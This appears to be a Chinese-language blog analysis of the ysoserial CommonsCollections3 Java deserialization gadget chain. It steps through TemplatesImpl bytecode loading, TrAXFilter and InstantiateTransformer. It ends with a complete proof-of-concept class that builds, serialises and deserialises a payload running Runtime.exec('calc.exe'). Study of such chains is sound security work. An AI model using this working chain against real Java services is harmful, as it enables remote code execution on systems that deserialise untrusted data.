ysoserial CommonsCollections3 分析

cc3利用链如下：

TrAXFilter(Templates templates)     TemplatesImpl->newTransformer()         TemplatesImpl->getTransletInstance()             _class[_transletIndex].newInstance(); 

一、为构造的恶意字节码文件找一个newInstance启动入口

在TemplatesImpl类中的getTransletInstance方法，对 _class[_transletIndex]实现了newInstance()。

所以如果构造一个恶意类，然后通过类加载器加载，最终通过TemplatesImpl实现这个类的实例化，将实现这个恶意类的初始化执行。

假设将恶意代码写入这个类的静态代码块中，在这个类被实例化的时候得到执行，以Runtime为例。

构造恶意类：

public class Runtimecalc {     {         Runtime runtime = Runtime.getRuntime();         try {             runtime.exec("calc.exe");         } catch (IOException e) {             e.printStackTrace();         }      } }  

又由于TemplatesImpl类中，getTransletInstance方法属于私有方法，所以需要依赖另一个方法。其中该类的newTransformer()调用了getTransletInstance()，该方法public作用域，可以被外部调用执行。

public synchronized Transformer newTransformer()         throws TransformerConfigurationException     {         TransformerImpl transformer;          transformer = new TransformerImpl(getTransletInstance(), _outputProperties,             _indentNumber, _tfactory);          if (_uriResolver != null) {             transformer.setURIResolver(_uriResolver);         }          if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {             transformer.setSecureProcessing(true);         }         return transformer;     } 

通过反射给_class和_transletIndex赋值。但是在赋值之前，我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;，要求不能为空才可以继续执行后面代码，所以还需要通过反射给_name赋值。

另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();

加载的字节码类需要继承AbstractTranslet

private Translet getTransletInstance()         throws TransformerConfigurationException {         try {             if (_name == null) return null;              if (_class == null) defineTransletClasses();              // The translet needs to keep a reference to all its auxiliary             // class to prevent the GC from collecting them             AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();             translet.postInitialization();             translet.setTemplates(this);             translet.setServicesMechnism(_useServicesMechanism);             translet.setAllowedProtocols(_accessExternalStylesheet);             if (_auxClasses != null) {                 translet.setAuxiliaryClasses(_auxClasses);             }              return translet;         }         catch (InstantiationException e) {             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);             throw new TransformerConfigurationException(err.toString());         }         catch (IllegalAccessException e) {             ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);             throw new TransformerConfigurationException(err.toString());         }     } 

那么假设我们通过反射，直接为_class赋值为一个恶意字节码文件的文件路径。

然后通过调newTransformer方法实现，就能得到字节码文件的初始化执行。

TemplatesImpl templates = new TemplatesImpl();  Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");  Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx");  Field aClass = templates_cl.getDeclaredField("_class"); aClass.setAccessible(true); aClass.set(templates,new Class[]{Runtimecalc.class});  Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0);  templates.newTransformer(); 

二、字节码文件路径是无法在目标机器得到执行的，所以需要找到其他方法将字节码内容直接赋值序列化

Runtimecalc.class作为类文件赋值，是无法实现序列化的时候将文件内容直接传入的，这里赋值的只是文件路径。

所以序列化和反序列化是不成功的。

我们知道ClassLoader在加载的类的时候，最终是通过defineClass加载字节码文件内容。

利用这种方式，直接的赋值传参内容是字节码，就可以达到恶意类加载的序列化和反序列化。

Templateslmpl类中getTransletInstance方法中，在_class[_transletIndex].newInstance()执行前，还有一段如下代码

if (_class == null) defineTransletClasses() 

假设我们之前不对_class赋值，查看defineTransletClasses做了什么。

private void defineTransletClasses()         throws TransformerConfigurationException { 		     	//需要给_bytecodes赋值         if (_bytecodes == null) {             ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);             throw new TransformerConfigurationException(err.toString());         }     	     	TransletClassLoader loader = (TransletClassLoader)             AccessController.doPrivileged(new PrivilegedAction() {                 public Object run() {                     return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());                 }             }); 		         try {             final int classCount = _bytecodes.length;             //为_class赋值，长度为_bytecodes的长度             _class = new Class[classCount];              if (classCount > 1) {                 _auxClasses = new HashMap<>();             }              for (int i = 0; i < classCount; i++) {                 //_bytecodes[0]赋值为字节码内容赋值给_class[0]                 _class[i] = loader.defineClass(_bytecodes[i]);                 final Class superClass = _class[i].getSuperclass();                  // Check if this is the main class                 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                     _transletIndex = i;                 }                 else {                     _auxClasses.put(_class[i].getName(), _class[i]);                 }             }         }     } 

private byte[][] _bytecodes = null; 

_bytecodes是一个byte二维数组，我们将byte[]类型的字节码赋值给_bytecodes[0]

这里就直接赋值字节码内容了

byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\cc3\Runtimecalc.class")); 

这样在defineTransletClasses被调用的时候

执行_class[i] = loader.defineClass(_bytecodes[i]);

_class[0]将会被赋值为loader.defineClass(code)

由于_tfactory需要调用，所以给_tfactory也赋值

最终实现代码如下：

TemplatesImpl templates = new TemplatesImpl();  Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");  Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx");  //注释不给_class赋值，满足_class == null，defineTransletClasses得到调用 //Field aClass = templates_cl.getDeclaredField("_class"); //aClass.setAccessible(true); //aClass.set(templates,new Class[]{Runtimecalc.class});  Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0);  //加载字节码 byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\cc3\Runtimecalc.class")); byte[][] codes = {code};  //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes);  //要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory);  templates.newTransformer(); 

三、让newTransformer得到执行

TrAXFilter类的构造方法会调用newTransformer

public TrAXFilter(Templates templates)  throws     TransformerConfigurationException {     _templates = templates;     _transformer = (TransformerImpl) templates.newTransformer();     _transformerHandler = new TransformerHandlerImpl(_transformer);     _useServicesMechanism = _transformer.useServicesMechnism(); } 

TrAXFilter trAXFilter = new TrAXFilter(templates); 

但是TrAXFilter并不实现Serializable接口，无法序列化，需要通过反射调用

在cc1中反射执行最终是通过InvokerTransformer的transform来实现

这里用了InstantiateTransformer的transform

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); 

剩下的就和cc1一样了

public class CC3Test3 {     public static void main(String[] args) throws Exception {          TemplatesImpl templates = new TemplatesImpl();          Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");          Field name = templates_cl.getDeclaredField("_name");         name.setAccessible(true);         name.set(templates,"xxx");          Field transletIndex = templates_cl.getDeclaredField("_transletIndex");         transletIndex.setAccessible(true);         transletIndex.set(templates,0);                   byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\cc3\Runtimecalc.class"));         byte[][] codes = {code};          //给_bytecodes赋值         Field bytecodes = templates_cl.getDeclaredField("_bytecodes");         bytecodes.setAccessible(true);         bytecodes.set(templates,codes);          //要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap         //_tfactorys是TransformerFactoryImpl类型的         TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();         Field tfactory = templates_cl.getDeclaredField("_tfactory");         tfactory.setAccessible(true);         tfactory.set(templates,transformerFactory);           InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});          Transformer[] transformerslist = {                 new ConstantTransformer(TrAXFilter.class),                 instantiateTransformer,         };          ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);          HashMap hashMap1 = new HashMap();         LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);          Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);         declaredConstructor.setAccessible(true);          InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);          Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);         InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);          ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\cc3.ser"));         objectOutputStream.writeObject(handle);          ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\cc3.ser"));         objectInputStream.readObject();      } }